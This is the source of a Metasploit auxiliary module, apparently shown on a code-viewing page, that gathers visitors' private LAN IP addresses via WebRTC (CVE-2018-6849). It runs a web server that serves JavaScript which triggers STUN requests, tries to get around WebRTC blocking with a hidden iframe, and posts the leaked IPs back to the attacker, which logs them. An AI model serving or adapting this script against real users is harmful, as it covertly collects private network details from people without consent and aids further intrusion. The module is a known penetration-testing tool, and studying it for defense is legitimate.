Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/browser_lanipleak.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpServer78def initialize(info = {})9super(10update_info(11info,12'Name' => 'HTTP Client LAN IP Address Gather',13'Description' => %q(14This module retrieves a browser's network interface IP addresses15using WebRTC.16),17'License' => MSF_LICENSE,18'Author' => [19'Daniel Roesler', # JS Code20'Dhiraj Mishra' # MSF Module21],22'References' => [23[ 'CVE', '2018-6849' ],24[ 'URL', 'http://net.ipcalf.com/' ],25[ 'URL', 'https://www.inputzero.io/p/private-ip-leakage-using-webrtc.html' ]26],27'DisclosureDate' => '2013-09-05',28'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],29'PassiveActions' => [ 'WebServer' ],30'DefaultAction' => 'WebServer'31)32)33end3435def run36exploit # start http server37end3839def setup40# code from: https://github.com/diafygi/webrtc-ips41@html = <<-JS42<script>43//get the IP addresses associated with an account44function getIPs(callback){45var ip_dups = {};4647//compatibility for firefox and chrome48var RTCPeerConnection = window.RTCPeerConnection49|| window.mozRTCPeerConnection50|| window.webkitRTCPeerConnection;51var useWebKit = !!window.webkitRTCPeerConnection;5253//bypass naive webrtc blocking using an iframe54if(!RTCPeerConnection){55//NOTE: you need to have an iframe in the page right above the script tag56//57//<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>58//<script>...getIPs called in here...59//60var win = iframe.contentWindow;61RTCPeerConnection = win.RTCPeerConnection62|| win.mozRTCPeerConnection63|| win.webkitRTCPeerConnection;64useWebKit = !!win.webkitRTCPeerConnection;65}6667//minimal requirements for data connection68var mediaConstraints = {69optional: [{RtpDataChannels: true}]70};7172var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};7374//construct a new RTCPeerConnection75var pc = new RTCPeerConnection(servers, mediaConstraints);7677function handleCandidate(candidate){78//match just the IP address79var ip_regex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/80var ip_addr = ip_regex.exec(candidate)[1];8182//remove duplicates83if(ip_dups[ip_addr] === undefined)84callback(ip_addr);8586ip_dups[ip_addr] = true;87}8889//listen for candidate events90pc.onicecandidate = function(ice){9192//skip non-candidate events93if(ice.candidate)94handleCandidate(ice.candidate.candidate);95};9697//create a bogus data channel98pc.createDataChannel("");99100//create an offer sdp101pc.createOffer(function(result){102103//trigger the stun server request104pc.setLocalDescription(result, function(){}, function(){});105106}, function(){});107108//wait for a while to let everything done109setTimeout(function(){110//read candidate info from local description111var lines = pc.localDescription.sdp.split('\\n');112113lines.forEach(function(line){114if(line.indexOf('a=candidate:') === 0)115handleCandidate(line);116});117}, 1000);118}119120getIPs(function(ip){121//console.log(ip);122var xmlhttp = new XMLHttpRequest;123xmlhttp.open('POST', window.location, true);124xmlhttp.send(ip);125});126</script>127JS128end129130def on_request_uri(cli, request)131case request.method.downcase132when 'get'133print_status("#{cli.peerhost}: Sending response (#{@html.size} bytes)")134send_response(cli, @html)135when 'post'136begin137ip = request.body138if ip =~ /\A([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})\z/139print_good("#{cli.peerhost}: Found IP address: #{ip}")140else141print_error("#{cli.peerhost}: Received malformed IP address")142end143rescue144print_error("#{cli.peerhost}: Received malformed reply")145end146else147print_error("#{cli.peerhost}: Unhandled method: #{request.method}")148end149end150end151152153